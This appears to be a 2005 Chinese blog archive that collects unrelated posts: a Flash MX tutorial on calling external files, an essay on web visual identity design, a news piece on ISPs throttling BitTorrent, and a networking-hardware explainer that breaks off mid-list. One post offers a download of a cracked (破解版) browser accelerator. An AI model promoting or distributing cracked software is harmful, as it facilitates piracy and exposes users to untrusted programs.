2005年11月19日

使用Flash MX调用外部文件的方法

Flash MX制作课件时,一般生成的文件都是一个整体文件,制成的课件没有Flash源文件时不能被再编辑,重新利用性很差,不能被更多的老师利用。这样花大量功夫制成的课件其价值并不高。笔者在用Flash MX制作课件时,发现不改变Flash源文件,也可以通过生成的影片调用一些外部文件,包括:外部文本文件、外部程序文件、外部Flash文件、外部图片文件、外部音乐文件和外部脚本文件等。这样老师们就可以通过改变这些外部文件来灵活的运用课件。下面把这些外部文件的调用方法和注意事项和大家分享一下。

Flash MX中,外部文件的调用可以通过帧、按钮和影片剪辑响应来调出。在制作课件的时候,为了增强课件的交互性,通常使用按钮响应来调出,这里我们以六个按钮为例分别调出六个外部文件。

请打开Flash MX,让我们一起来制作六个按钮。首先打开“窗口—公用库—按钮”,从公用库中拖出六个不同的按钮到舞台上。

按钮一:调用外部文本文件

一、操作方法:

1、选择工具箱中的文本工具,在舞台中央拖出一个文本框,这就是文本显示的区域。

2、设制文本对象属性:文本类型为“动态文本”、字体、大小、颜色、变量名为了方便起见,统一都命名为“chem(化学的英语单词Chemistry的前四个字母)。一定要命名,后面在脚本程序中我们要调用。

3、用鼠标右键单击舞台上的按钮一,从弹出的快捷菜单中选择“动作”选项,打开动作脚本编辑面板,键入以下脚本:

on (release) {

loadVariablesNum("chem.txt", 0);

System.useCodepage = true;

}

二、脚本解释:

第一行:表示按钮松开后执行动作。(标准模式下自动加入)

第二行:表示调用文件名为“chem.txt”的外部文本文件,级别为0级。

第三行:显示中文字符的语句,使外部文本文件中的中文字符能正常显示。否则只能显示英文字符,中文字符为乱码。

三、使用注意:

1、外部文本文件必须和主文件在同一目录下。

2、外部文本文件名必须为“chem.txt”。

3、外部文本文件第一行开头必须为“chem=”形式。

按钮二:调用外部程序文件

一、操作方法:

用鼠标右键单击舞台上的按钮二,从弹出的快捷菜单中选择“动作”选项,打开动作脚本编辑面板,键入以下脚本:

on (release) {

fscommand("exec", "chem.exe");

}

二、脚本解释:

第一行:表示按钮松开后执行动作。(标准模式下自动加入)

第二行:表示调用文件名为“chem.exe”的外部程序文件.

三、使用注意:

1、外部程序文件必须和主文件在同一目录下。

2、外部程序文件名必须为“chem.exe”。

3、如果要调用较大的程序文件,可以把主文件复制到程序文件的目录下,或者改变脚本设置,相对路径改为绝对路径。如:要调用Windows中的计算器程序,可设置脚本为:

on (release) {

fscommand("exec", "C:\\Windows\\calc.exe");

}

4、经笔者测试,Flash Player 6不支持此功能,必须用Flash Player 5。具体操作如下:首先,打开“文件—发布设置—Flash版本”,选择Flash Player 5后确定,这时发布的影片就可以用Flash Player 5播放了。然后再用Flash Player 5播放主文件,点击按钮就可以调用外部程序了。

按钮三:调用Flash影片

一、操作方法:

1、选择“插入—新建元件”菜单选项,打开“创建新元件”对话框,设置新元件名称为“空”,作用为“影片剪辑”。

2、单击“确定”按钮,打开“空”影片剪辑元件的编辑窗口,在该窗口中不进行任何操作。然后拖动“空”影片剪辑元件到舞台上,创建一个实例。打开“属性”面板,设置实例名为“kong

3、用鼠标右键单击舞台上的按钮三,从弹出的快捷菜单中选择“动作”选项,打开动作脚本编辑面板,键入以下脚本:

on (release) {

loadMovie("chem.swf", "kong");

}

二、脚本解释:

第一行:表示按钮松开后执行动作。(标准模式下自动加入)

第二行:表示调用文件名为“chem.swf”的外部Flash影片文件,用来代替主文件中的名为“kong”的影片剪辑。我们可以通过控制影片剪辑“kong”的属性来控制外部文件名为“chem.swfFlash影片文件的属性。

三、使用注意:

1、外部Flash影片文件必须和主文件在同一目录下。

2、外部Flash影片文件名必须为“chem.swf”。

按钮四:调用外部图片文件

调用外部图片文件的方法与调用Flash影片的方法大致相同,这里我就COPY了一下,然后稍作修改。

一、操作方法:

1、选择“插入—新建元件”菜单选项,打开“创建新元件”对话框,设置新元件名称为“白”,作用为“影片剪辑”。

2、单击“确定”按钮,打开“白”影片剪辑元件的编辑窗口,在该窗口中不进行任何操作。然后拖动“白”影片剪辑元件到舞台上,创建一个实例。打开“属性”面板,设置实例名为“bai

3、用鼠标右键单击舞台上的按钮四,从弹出的快捷菜单中选择“动作”选项,打开动作脚本编辑面板,键入以下脚本:

on (release) {

loadMovie("chem.jpg", "bai");

}

二、脚本解释:

第一行:表示按钮松开后执行动作。(标准模式下自动加入)

第二行:表示调用文件名为“chem.jpg”的外部图片文件,用来代替主文件中的名为“bai”的影片剪辑。我们可以通过控制影片剪辑“bai”的属性来控制外部文件名为“chem.jpg”外部图片文件的属性。

三、使用注意:

1、外部图片文件必须和主文件在同一目录下。

2、外部图片文件文件名必须为“chem.jpg”。

3、自己试试,看看能否调用其它格式的图片文件。

按钮五:调用外部音乐文件

一、操作方法:

用鼠标右键单击舞台上的按钮五,从弹出的快捷菜单中选择“动作”选项,打开动作脚本编辑面板,键入以下脚本:

on (release) {

music = new Sound();

music.loadSound("chem.mp3",true);

}

二、脚本解释:

第一行:表示按钮松开后执行动作。(标准模式下自动加入)

第二行:新建一个声音文件,实例名为“music”。同样,我们可以设置“music”的属性(如音量、平衡、混响等)来控制外部音乐文件“chem.mp3”的属性。

第三行:从外部调用一个文件名为“chem.mp3”的音乐文件,“true”表示从网上下载时音乐文件时只存在于内存中而不下载到硬盘。

三、使用注意:

1、外部声音文件必须和主文件在同一目录下。

2、外部声音文件文件名必须为“chem.mp3”。

3、能否调用其它格式的声音文件呢?我没有试,你试试看,如果有,别忘了告诉我。

按钮六:调用外部脚本文件

一、操作方法:

用鼠标右键单击舞台上的按钮六,从弹出的快捷菜单中选择“动作”选项,打开动作脚本编辑面板,键入以下脚本:

#include "chem.as"

二、脚本解释:

chem.as是要调用的文件名, .as 是推荐的文件扩展名。(用记事本编辑后另存为“chem..as”就行)

三、使用注意:

1、外部脚本文件必须和主文件在同一目录下。

2、外部脚本文件文件名必须为“chem.as”。

3chem.as这个文件的格式,必须完全按照编写action的格式,就象在Flash中用专家模式输入一样。

4、更高级的应用:数组

chem.as的内容可以这样编辑:

chm_array=[];

chem_array[0]=["aaa","bbb"];

chem_array[1]=["ccc","ddd"];

chem_array[2]=["eee","fff"];

你可以方便准确的调用数组中的任一个元素,如chem_array[0][1]就调用了"bbb"。并且你可以随时给这个数组添加新元素而不用改动Flash源文件。

当然,作为一款优秀的软件,Flash MX的功能是非常强大的。调用外部文件的方法也有很多。限于笔者的水平,这里只跟大家介绍了调用本地外部文件的的方法。随着网络技术的飞速发展,网络课件的盛行,相信你我在利用Flash MX调用外部服务器文档上会做得更好!

2005年09月11日

《半盒卡片》目录(更新ing)

000 – The omniscience’game

001 – You never please me

2005年08月03日

http://englishtown.msn.com.cn/home/lesson.asp?dialogName=EOM3

EOM 后面的数字自 3 开始 +

每个数字都是一课 截至到今日是118

2005年07月02日

摘要:随着时代步伐的前进,时代的概念也在逐渐变化,第四媒体互联网的迅速发展,使信息传播业面临一场变革,视觉识别系统(visual Indentity system),也延伸到新的领域,互联网络上逐渐成为企业讯息等宣传的重要阵地,具有迅捷、传播范围广等优势,vi的含义也逐渐应用在互联网上,我们重新定义为网络形象识别设计,简称VISI(Visual Indentity system internate),开拓了新的空间,视觉文化成为主导设计潮流. 

关键词:网络形象设计 视觉文化时代 新媒体 语素 

一 历史的形象识别设计与视觉文化 

1 历史上CI的出现 

  从50年代初到现在,CI的诞生有近50年的历史,他发展沿革大致上经历三个阶段: 
   A 从商标品牌到产品视觉统一设计, 
   B 企业风格的视觉传达设计, 
   C 从视觉形象识别到整体形象识别, 
  CI已经从单纯的视觉传达设计演变为一种企业形象的传播策略,我们可以看出VI形象的识别是现在CI、MI等的最初起源,最初是商品标志视觉功能的扩展,商标品牌作为商品的标记和象征,在商品市场的竞争中发挥这主要作用,1851年,美国宝龄公司老板发现负责货运的人总是在装蜡烛的箱子上画上黑叉叉,经询问才知道是为了那些目不识丁的码头工人能分辨哪是蜡烛哪是香皂。后来,有位聪明的工人把难看的叉叉改成了星星,进而成为固定的符号经常出现。 

  CI这一词最早由美国的设计家来蒙特于1930年左右提出。第二次世界大战以后,美国的经济发展在世界一直处于领先地位,企业重视工业设计和产品的视觉设计。现代设计的摇篮德国包豪斯设计学院,这所起初培养建筑设计而创建的学校,转而以培养工业设计、商业设计、视觉传达设计等专门人才。造就了一批设计师,对今天设计产生了深远的影响。 

2 视觉文化时代的到来 

  据说视觉文化的时代已经来临。丹尼尔·贝尔认为:“目前居统治地位的是视觉观念。声音和景象,尤其是后者组织了美学、统率了观众。在一个大众社会里,这几乎是不可避免的”。随着时代的进步,大众社会的要求逐渐扩展延伸,品牌等成为一种无形资产成为商品分辨和信誉保证的重要识别,使得在人们视线里出现整体的视觉识别系统,时代也有了它新的概念,即视觉文化时代。视觉文化时代的到来,急剧加速经济的发展,经济的发展也促使视觉文化的进步,总之,设计与经济时代的发展是紧密联系不可分割的。 

二 第四大众传媒互联网的发展 

1 互联网的发展    
自从发明了电脑,出现了WWW,科学发明改变了社会,人类的智慧是无穷无限的,互联网的发明称之为人类历史上迄今为止的最伟大的发明。PC时代的数字化是个人的,互联网时代的数字化则是全球的。互联网使时空的距离成为零,整个地球被收缩成一个新的世界,我们可以周游世界,大大地降低了信息的传播费用,实现社会化,达到信息的迅速广泛的传播。与传统的传媒方式相比较,互联网具有鲜明的优势。以计算机二进制语言处理的数字化信息,构成了信息社会的最基本原子,在信息时代,人类的生存和生活,不可避免地建立在数字化信息之上,第四大众传媒互联网将普及发展与人类社会。 

2 四次信息传播革命 

  自从人类诞生以来,人类社会至少已经经历了四次意义重大的信息传播革命,每一次信息传播革命都把人类文明推向一个新的发展阶段。 
  第一次信息传播革命是语言传播的诞生:提高了人类信息传播的质量、速度与效率。 
  第二次信息传播革命是文字传播的诞生:使得人类的信息传播革命第一次突破时间、空间的限制,得以广泛流传和长期保存。 
  第三次信息传播革命是印刷传播的诞生。报纸、杂志、书籍等印刷品大众媒介迅速普及。第四次信息传播革命是模拟式电子传播的诞生。 

 
 19世纪40年代至70年代,一系列模拟式电子传播技术与媒介相继出现,并迅速普及,使得人类信息传播的速度空前迅疾,范围空前广泛,内容空前丰富,复制扩散和保存信息的能力空前增强。人类进入以模拟式电子传播为代表的大众传播时代。 

  最新的一次信息传播革命,即正在我们身边发生的第五次信息传播革命,是数字式电子传播的诞生。进入90年代以来,先进的计算机技术不仅征服了文字数字化的难题,而且征服了比文字更复杂的声音世界。如今,表现和记录人类物资和精神世界的数字、语言、文字、声音、图画和影像等过去相互之间界限分明的各种信息传播方式,都可以用计算机的二进制语言来作数字化处理,从而可以浑然一体,相互转换了。报纸、广播、电视和书籍、杂志、电影等传统大众传播媒介在形式之间的差异正在缩小或消失;交互式传播媒体的出现,使得传播者与受众之间的传统的相互关系正面临巨大的变化。人类进入了真正的信息时代。 

3 “第四大众传媒”互联网新媒体 

  网络作为新兴的第四媒体确实有它独特的优势,这恐怕任何一个用过互联网的用户都能一一道来: 报道及时、零传播成本、多媒体、可以检索等等。有报道说互联网发展的速度远远超过了前几任媒体:无线电广播问世38年后,拥有5000万听众,电视诞生13年后,拥有同样数量的观众,而因特网从1993年对公众开放,到拥有这个数量的用户只花了4年时间。网络作为新的信息传播的载体,确实起了传统媒体所起的很多功用,或者说它替代了传统媒体的很多功用。 

  公认的大众传媒主要包括报纸、广播、杂志、书籍和电影等六大媒介。随着数字化技术的发展,电脑硬件的更新换代,互联网技术迅速普及和网站的大量建立,互联网正成为一种新的媒体广泛进入人们的生活。如今,国际上已把互联网纳入六大媒介中,并将其称为继报纸、广播、电视之后的“第四大众传媒”。这说明,人们已经认同了互联网的作用,能够同报纸、广播、电视等新闻媒介一样,广泛地传递新闻信息。其实,国际互联网不仅具有报纸、广播、电视等传统新闻媒介能够及时广泛传播信息的一般功能,而且还具有多媒体、实时性、交互性传播新闻信息的独特优势。它使人类面临着一次信息传播技术的前所未有的,带有根本性的突破和变革。传统的、界限分明的语言、文字、声音、影像等各种传播形式之间的铜墙铁壁顷刻就要瓦解,传统的、相互分割的报纸、广播、书籍、杂志和电影等大众传媒顷刻就要融为一体。人类社会,就要随着新一代信息传播新技术、新媒介进入一个信息传播的时代。由于国际互联网所具有的超越传统新闻媒介的优势,决定了网络对平面媒体的超越,不过是迟早的事情。 

  互联网的发展使视觉文化识别出现了新的空间和领域。 

三 网络形象设计的出现与定义 

1 几个问题的解答引述 

  网页设计重要吗? 
  要回答这个问题,就先得回答:网站的外观重要吗?一个网站的内容固然重要,但是如果没有一个好看而吸引的外表,哪怕有着再好的内容,有着再好的结构,相信整个网站的浏览效果也会大打折扣,浏览者的阅读兴致也会大减。就等于一个内涵丰富但却外表平庸的人在一个公共场所出现,是难以引起别人的注意的一样。人们称互联网经济为注意力经济,如何吸引大众的注意力,除了内容是一个重要的因素外,外观也同样起着举足轻重的作用。网站的外观非常重要,因此,网站的VI设计也非常重要。 

  怎样才是一个好的VI设计呢? 
  一个好的视觉设计,首先要有一个好的视觉效果。一个网站怎样才算是有一个好的视觉效果?一个最简单的判别方法是,看她三眼:第一眼,看是否抢眼;第二眼,看是否顺眼;第三眼,看是养眼。其实,这三眼就是网站给你的第一感觉。第一感觉很重要,浏览者能否接受这个网站,很大程度上,就看有否这种一见钟情的感觉。如果答案都是Yes,那么,这个网站就是有一个很好的视觉效果了,相信浏览者也会耐着性子去看完你整个网站的。 

  怎样才能有一个让人一见倾心的视觉效果? 
  首先要看整个页面的颜色是否协调,千万不可给人刺眼的感觉;其次要看网页上的的文字是否易于阅读,文字太细、颜色太浅、页面太长或超出屏幕宽度,都是有违网站设计的“美学原则”;再次要看图片,图片太大、太多、太模糊都会惹来浏览者的反感;最后要看“动”与“静”是否配合得当,无节制地滥用Flash、动态GIF、滚动字幕等效果就会让人眼花缭乱,但死气沉沉,毫无生气的页面也会让人感到乏味。 

  上面谈到的VI设计仅仅是就一个页面而言,VI设计的另一方面是看整个网站的所有页面是否协调与一致。每个页面都使用相同种排版方式、相同的背景色及近似的按钮都能增加网页一致性,树立统一的风格。这是最基本而有最重要的网站VI设计。 

2 成功网站的VI设计 
  如果你是打算为企业建立一个商业网站,则更加要注重网站的VI设计。如果你的企业本身已经有了一个统一的CI设计(Corporate Indentity,企业形象识别),那么,网站的VI设计就应该遵循其CI设计。当然,前提是你必须有一套适用的CI设计。按照我们的经验,有相当的CI设计并不适合应用到网站的视觉设计之中,这使得网站的设计受到很大限制,因此企业在制定其CI设计时,很有必要听取专业网页制作人员的意见,哪怕企业暂时并被有触网的打算。 

  一个好的VI设计,事实上可以凭借CI设计里已经指定的Logo、色彩、或标准字型等予以发展。尤其是色彩部分,使用正确的色彩往往可以得到相得益彰的效果。另外针对Logo本身的一致性所作的设计上变化也是一种变化,总而言之,所有的做法必须能够发展出一套更具品牌形象的设计,而且能将网站的整体特性完全地容入浏览者的脑海里。能让浏览者记住,并能吸引浏览者回头的VI设计,就是一个成功的网站VI设计 

3 VISI网络形象识别系统 

  VI设计,来源英文中的 Visual Indentity System,意即视觉识别系统。单单就网站而言,一个网站上看到的所有图片、文字、动画、以及他们的编排方式等等一切能够看到的元素都是VI设计的一部分,简单来说,其实就一一个网站的外观,他能在色彩版式等形成一种认知识别,达到一定的视觉效应,我们重新定义为VISI,即网络形象识别系统(Visual Indentity System internate)它既是CI部分的延伸、有是VI部分的发展与具体应用,网络形象识别系统是一个系统化的识别形象,它将根据企业CI、VI根据网络的要求整合定位成网络形象识别系统他的具体内容将在后面作具体说明 

四 网络形象识别设计的语素 

1 互联网的属性特点 
  以互联网为代表技术的信息时代,为视觉传达设计师们提供了更为广阔的自由发挥空间。视觉传达设计与新媒体的结合必将产生前所未有的巨大力量,数字化设计成为未来设计师的主要表现手段。 

  传播范围广 
  国际互联网的优势之一就是全球传播,不论在世界的哪个角落,只要计算机连入网络,那么你就可以将信息传送给他,或是获取他的信息。商家在互联网络上只花极少量的广告费用,就可以将他的产品在全球宣传;设计师可以与远在天边异国同行交流设计心得…… 

  信息资源丰富 
  有上网经验的人都有这种体会,即当你在网冲浪的时候,会真切地感受到互联网络这个信息海洋的广博无边。目前全球网民数量已超过1.5亿,网上主机数量约3000万台,可检索的网页数约50亿页,真正称得上“信息海洋”。 

  形态多样化 
  网络对多媒体技术的支持,所以在视觉传达的手段上丰富多样。多媒体技术是将传统的、相互分离的各种信息传播形式(如语言、文字、声音、图象和影象等)有机地融合在一起,进行各种信息的处理、传输和显示。这样,视觉传达设计的表现手段和表现范围得到了大大的扩展,未来的视觉传达设计是综合性的,涵盖了人类全部感官的全面设计。这已经超越了现有视觉传达设计的概念。 

  交互传达 
  互联网是有史以来的影响我们生活面最广、最容易产生互动的新科技,它改变了人们的思考方式,从以前的线形思考到现今的网状思考,由一体通用到量身定做,从单向沟通到双向沟通,从实体到虚拟,这皆是互联网的互动特性所带来的新特性。互动的设计更会引起受众的兴趣,满足人们的参与感。受众不再仅仅是信息的接受者,他们拥有更大的选择自由和参与机会,例如可以对网上的某些信息作出自己的反应,并将其加入到网络媒体当中,反过来又成为互联网信息的一部分。 

2 网络形象识别设计 
  本文提出了网络形象识别设计的新概念,几下具体说明网络形象识别设计的语素。 
  网络形象识别设计要根据企业制定的识别系统进行扩展延伸,设计出新的符合网络属性特点的形象识别系统。从宏观上讲,网络形象应该具有统一的整体的便于识别的设计。 

  首先,网络形象设计的整体定位,网络海洋如此之大,但是整体的网络视觉效果很少能出现在我们的屏幕中,这就需要策划设计人员有依据的进行整体定位策划。VI设计中的企业标准形象需要重新整合组成,事实上可以凭借CI设计里已经指定的Logo、色彩、或标准字型等予以发展。尤其是色彩部分,使用正确的色彩往往可以得到相得益彰的效果。另外针对Logo本身的一致性所作的设计上变化也是一种变化,总而言之,所有的做法必须能够发展出一套更具品牌形象的设计。 

  网络形象标识设计可以以动态形式或静态形式出现,网络的web色彩和版式需要统一,我们称网络标准色彩和网络应用版式,当然其形式和要素非常多,我们可以概括为基本元素形式。这里所说的基本元素主要包括:文字的处理、背景色彩、各种动态按钮、图表、表格、导航工具、背景音乐、互动影像、视频播放、小窗口等,我们需要根据实际情况确定元素,当然更重要的是整个元素要有一种共同点,这也就是网络形象设计的创意设计所在。 以上各视听元素大多数浏览器本身都可以显示或收听,无需任何外部程序或模块支持。比如,大部分浏览器都可以显示GIF、JPEG图形和GIF89a动画。还有些多媒体文件(如MP3音乐)需要先下载到本地硬盘上,然后启动相应的外部程序来播放。另外,在浏览器使用插件(Plug-in)可以播放更多格式的多媒体文件。微软推出IE浏览器后,提供了基于OLE的ActiveX技术,用来在网页中播放多媒体。目前ActiveX已经成为热门技术。另一种播放多媒体的技术是JavaApplet。它是用Java语言编写的应用于网页之中的小应用程序,相比于插件和ActiveX,JavaApplet具有更大的灵活性和良好的跨平台能力,因此具有很好的发展前景。总之,技术的不断发展使多媒体元素在网页艺术设计中的综合运用越来越广泛,使浏览者可以享受到更加完美的视听效果。这些新技术的出现,也对网页的艺术设计提出了更高的要求。多媒体技术的运用大大丰富了网页艺术设计的表现力。 

  网页的版式设计同报刊杂志等平面媒体的版式设计有很多共同之处,它在网页的艺术设计中占据着重要的地位。所谓网页的版式设计,是在有限的屏幕空间上将视听多媒体元素进行有机的排列组合,将理性思维个性化的表现出来,是一种具有个人风格和艺术特色的视听传达方式。它在传达信息的同时,也产生感官上的美感和精神上的享受。 

  但网页的排版与书籍杂志的排版又有很多差异。印刷品都有固定的规格尺寸,网页则不然,它的尺寸是由读者来控制的。这使网页设计者不能精确控制页面上每个元素的尺寸和位置。而且,网页的组织结构不像印刷品那样为线性组合,这给网页的版式设计带来了一定的难度。网页的版式设计和流程是网络形象识别系统的重要部分 

  总之网络视觉识别系统将是统帅所有技术与艺术集合的核心。紧跟时代步伐,视觉文化时代的要求将随着科技的进步不断变化,整体的统一的便于识别的视觉效果将会对品牌企业、产品的形象产生一定的效应.,促进经济文化的发展. 


参考文献: 
1 朱建强 企业CI战略 厦门大学出版社 2000 
2 山田里英 新CI战略  艺风唐版 
3 柴唐佩译 21世纪视觉传达史 湖北美术出版社 
4 王晓玲 企业文化教程 同济大学出版社 
5 丹涅尔·多累斯  WWWDESIGN 中国轻工业出版社 
6 MARKERTNG CORPORATE IMAGE  jamesR.Gregory 

2005年05月17日

日前,一则消息不胫而走:北京网通开始禁用“BT下载”。传闻顷刻间在众多网民中引起轩然大波,许多“BT爱好者”“维权”的呼声一如从前那样强烈。根据新浪所做的网络调查:在6000多网民关于“封杀BT”的投票中,赞成者占9.23%,反对者占85.10%,无所谓态度的占5.67%。结果不言而喻。 

一位北京网通内部人士告诉记者,全面封杀BT是一种并不常用的手段,而限制BT端口的数据流量则早已被很多地方运营商所采用。这一说法在其他一些地方运营商处也得到了证实,一位南方电信的运营商人士告诉记者:在一定程度上限制BT是大势所趋。

资源困境封杀BT?

封杀BT无非是为了保证网络流量。

所谓BT,是BitTorrent的简称,BT是一个多点下载的源码公开的P2P软件,使用非常方便,就像一个浏览器插件,很适合新发布的热门下载。其特点有点类似传销:下载的人同时也成为“种子”的提供者,提供者越多,速度就越快。而且BT的下载速度是没有封顶的,也就是说它会尽可能多地占用网络资源。值得一提的是,ADSL用户虽然是独享带宽,每个端口的用户享受的带宽出口仅为自己使用,但出口带宽仍然会受到BT影响。

目前,少数的网民用BT软件占用了大量的带宽,而影响大多数正常宽带网用户的网速。也就是说,BT将会占用太多的网络资源,从而有可能在接入网、传输网、骨干网等不同层面形成瓶颈,造成资源紧张,这似乎也是目前运营商包括网通、长宽等封掉BT端口的最大理由。

对带宽资源感到担心的还有上海贝尔阿尔卡特公司的副总裁汪莹,她从目前正在大力发展的IPTV上得出了同样的结论:网络支撑能力不足。据她估计,中国目前的网络带宽容量仅仅能承受5%的宽带用户使用IPTV服务,以2600万宽带用户的数量来计算,即只能支撑130万IPTV用户,宽带网络支撑力严重不足。不过汪莹也表示,中国电信、中国网通等运营商仍在不断地发展用户、增加带宽。

互联网商业模型将再受冲击

封杀BT,很多人认为这并不简单,INFOSAGE董喆告诉记者,中国网通此举暴露了长期存在于网络中的互联互通问题以及运营商前期建网的不合理问题。事实情况也的确如此,拆分后的中国电信和中国网通实际上都无法提供完全高速率和全程全网的下载,因此就不得不租用对方网络来保证全网的传送,所以自然引发了互联互通以及利益分配的问题。专家证实,尽管中国电信CN2已建成,但是只是解决了刻不容缓的数据网问题,中国电信的传输网和接入网的尴尬仍然无法弥补,成为宽带的新瓶颈。

南北电信分拆后,有限制的全程全网涉及到很多诸如互联互通等问题的困扰。如果运营商一定要发展BT,那么速率必然受到限制,为了使用户的带宽达到平衡,运营商必定会在机房里不分昼夜地级连,如果BT用户长时间挂在网上,宽带设备也会处于长时间级连的状态,一位设备商不客气地说“现在的设备可经不起这样的折腾。”

BT与P2P能否殊途同归

虽然BT也是一种P2P的形式,但是BT下载对带宽抢占太多,属于一种恶性下载的范畴。虽然P2P有前景,但是如果把BT作为一项杀手级应用,就会涉及到多方面的问题。“实际上,成功如联众和传奇的商业模式是BT下载不可效仿的,因为BT的内容通常都是非法的,涉及到版权以及定价问题,定价高了,无人买单,定价太低,无法解决版权问题,很多形式的内容获得可替代性比较强。”董喆这样认为。

中兴通讯数据产品技术总监宋军博士对BT的看法十分清晰,他认为BT下载虽然风靡,但实际上已成为了带宽杀手,而且现在的互联网的商用模型并不适合运营商来发展BT,对于需要赢利的运营商来说,BT增(通信)量增费用但不增收。

“实际上,国外很多运营商也对BT早已不堪重负,”宋军回忆道,“许多运营商通过法律手段查封了很多BT服务器,但由于国外运营商不同的管理模式,没有采用封杀BT端口的做法,而是采用一些在设备上加载软件的手段控制相应的端口,限制宽带流量,也就是包月加流量封顶的方式。”

但是,“P2P应用是非常有潜力的应用,”作为中国下一代网络(CNGI)专家工作组的专家,宋军所在的专家工作组正在负责CNGI的应用试验,并将P2P作为一个重要的实验内容。

BT是否美味?

BT很特别,所以受欢迎。它能够很饥渴地抢占资源,但是现在有很多厂商如思科等专业的路由器厂商提供的路由器中都加载一个独立的模块,随时对网络进行检测,监测BT口的流量。

在众多的争论中有一个观点是:BT是一种消耗带宽的软件,而如果运营商按流量计费,在利益上就能有所补偿,而且现在很多BRAS设备都可以做到。但是宋军认为,“互联网的经营模式一直是粗放型的,它有别于电信网,因此习惯了免费的互联网按流量计费恐怕一时难以得到用户的认可。”

中国电信广州研究院徐建锋告诉记者,关于BT和Skype等点对点应用,中国电信正在研究和制定相关的措施,包括技术的和非技术的,目的是创造一种商业模式,前提是可赢利的。

软件大小:495 KB
软件语言:简体中文
软件类别:国产软件 / 破解版 / 浏览辅助
运行环境:Win9x/NT/2000/XP/
界面预览:
软件更新:2005-5-16 9:51:48
页面刷新:2005-5-16 9:51:48
下载次数:1352
软件评级:

联 系 人:http://kone.6to23.com
 

开 发 商:未知
软件介绍:
关于上网的加速问题由来很久了,一种是以快猫加鞭为代表的通过修改诸如com端口缓冲等
注册表项来提高速度。但是事实证明这类优化效果甚微甚至在固定了接入速度如GPRS方式接入时
没有任何效果。
  网页浏览加速器不同于上述软件,简单的说网页浏览加速器是一款特殊的二级代理软件,工
作方式是通过接入了一个特殊的代理服务器,IE所请求的来自互联网的图片等内容经过压缩以后
再发送到您的计算机上(当然经过压缩的图片质量有所降低,如果下载壁纸之类的图片请关闭加
速软件),这就减少了网页的下载时间。效果立竿见影:)经过实际测试,最高可以减少44.8%的
下载时间。

点这里下载-> 网页浏览加速器 2.2
点这里下载-> 网页浏览加速器 v1.8 破解版



网卡和路由器是两种网络硬件设备。网卡是网络终端与网络的接口设备;而路由器是用来引导网络中的信息传输的。 

  集线器 
集线器实际就是一种多端口的中继器。集线器一般有4、8、16、24、32等数量的RJ45接口,通过这些接口,集线器便能为相应数量的电脑完成“中继”功能(将已经衰减得不完整的信号经过整理,重新产生出完整的信号再继续传送)。由于它在网络中处于一种“中心”位置,因此集线器也叫做“Hub”。 
  集线器的工作原理很简单,比如有一个具备8个端口的集线器,共连接了8台电脑。集线器处于网络的“中心”,通过集线器对信号进行转发,8台电脑之间可以互连互通。具体通信过程是这样的:假如计算机1要将一条信息发送给计算机8,当计算机1的网卡将信息通过双绞线送到集线器上时,集线器并不会直接将信息送给计算机8,它会将信息进行“广播”——将信息同时发送给8个端口,当8个端口上的计算机接收到这条广播信息时,会对信息进行检查,如果发现该信息是发给自己的,则接收,否则不予理睬。由于该信息是计算机1发给计算机8的,因此最终计算机8会接收该信息,而其它7台电脑看完信息后,会因为信息不是自己的而不接收该信息。 

交换机 
  交换机也叫交换式集线器,它通过对信息进行重新生成,并经过内部处理后转发至指定端口,具备自动寻址能力和交换作用,由于交换机根据所传递信息包的目的地址,将每一信息包独立地从源端口送至目的端口,避免了和其他端口发生碰撞。广义的交换机就是一种在通信系统中完成信息交换功能的设备。 
  在计算机网络系统中,交换机是针对共享工作模式的弱点而推出的。集线器是采用共享工作模式的代表,如果把集线器比作一个邮递员,那么这个邮递员是个不认识字的“傻瓜”——要他去送信,他不知道直接根据信件上的地址将信件送给收信人,只会拿着信分发给所有的人,然后让接收的人根据地址信息来判断是不是自己的!而交换机则是一个“聪明”的邮递员——交换机拥有一条高带宽的背部总线和内部交换矩阵。交换机的所有的端口都挂接在这条背部总线上,当控制电路收到数据包以后,处理端口会查找内存中的地址对照表以确定目的MAC(网卡的硬件地址)的NIC(网卡)挂接在哪个端口上,通过内部交换矩阵迅速将数据包传送到目的端口。目的MAC若不存在,交换机才广播到所有的端口,接收端口回应后交换机会“学习”新的地址,并把它添加入内部地址表中。 
  可见,交换机在收到某个网卡发过来的“信件”时,会根据上面的地址信息,以及自己掌握的“常住居民户口簿”快速将信件送到收信人的手中。万一收信人的地址不在“户口簿”上,交换机才会像集线器一样将信分发给所有的人,然后从中找到收信人。而找到收信人之后,交换机会立刻将这个人的信息登记到“户口簿”上,这样以后再为该客户服务时,就可以迅速将信件送达了。 

路由器 
路由器是网络中进行网间连接的关键设备。作为不同网络之间互相连接的枢纽,路由器系统构成了基于 TCP/IP 的国际互连网络Internet 的主体脉络。 
  路由器之所以在互连网络中处于关键地位,是因为它处于网络层,一方面能够跨越不同的物理网络类型(DDN、FDDI、以太网等等),另一方面在逻辑上将整个互连网络分割成逻辑上独立的网络单位,使网络具有一定的逻辑结构。路由器的主要工作就是为经过路由器的每个数据帧寻找一条最佳传输路径,并将该数据有效地传送到目的站点。 
路由器的基本功能是,把数据(IP 报文)传送到正确的网络,细分则包括:1、IP 数据报的转发,包括数据报的寻径和传送;2、子网隔离,抑制广播风暴;3、维护路由表,并与其它路由器交换路由信息,这是 IP 报文转发的基础;4、IP 数据报的差错处理及简单的拥塞控制;5、实现对 IP 数据报的过滤和记帐。 
路由器构成了 Internet 的骨架。它的处理速度是网络通信的主要瓶颈之一,它的可靠性则直接影响着网络互连的质量。因此Internet 研究领域中,路由器技术始终处于核心地位。
最近看到很多人在询问交换机、集线器、路由器是什么,功能如何,有何区别,笔者就这些问题简单的做些解答。 

  首先说HUB,也就是集线器。它的作用可以简单的理解为将一些机器连接起来组成一个局域网。而交换机(又名交换式集线器)作用与集线器大体相同。但是两者在性能上有区别:集线器采用的式共享带宽的工作方式,而交换机是独享带宽。这样在机器很多或数据量很大时,两者将会有比较明显的。而路由器与以上两者有明显区别,它的作用在于连接不同的网段并且找到网络中数据传输最合适的路径 ,可以说一般情况下个人用户需求不大。路由器是产生于交换机之后,就像交换机产生于集线器之后,所以路由器与交换机也有一定联系,并不是完全独立的两种设备。路由器主要克服了交换机不能路由转发数据包的不足。 

  总的来说,路由器与交换机的主要区别体现在以下几个方面: 

  (1)工作层次不同 

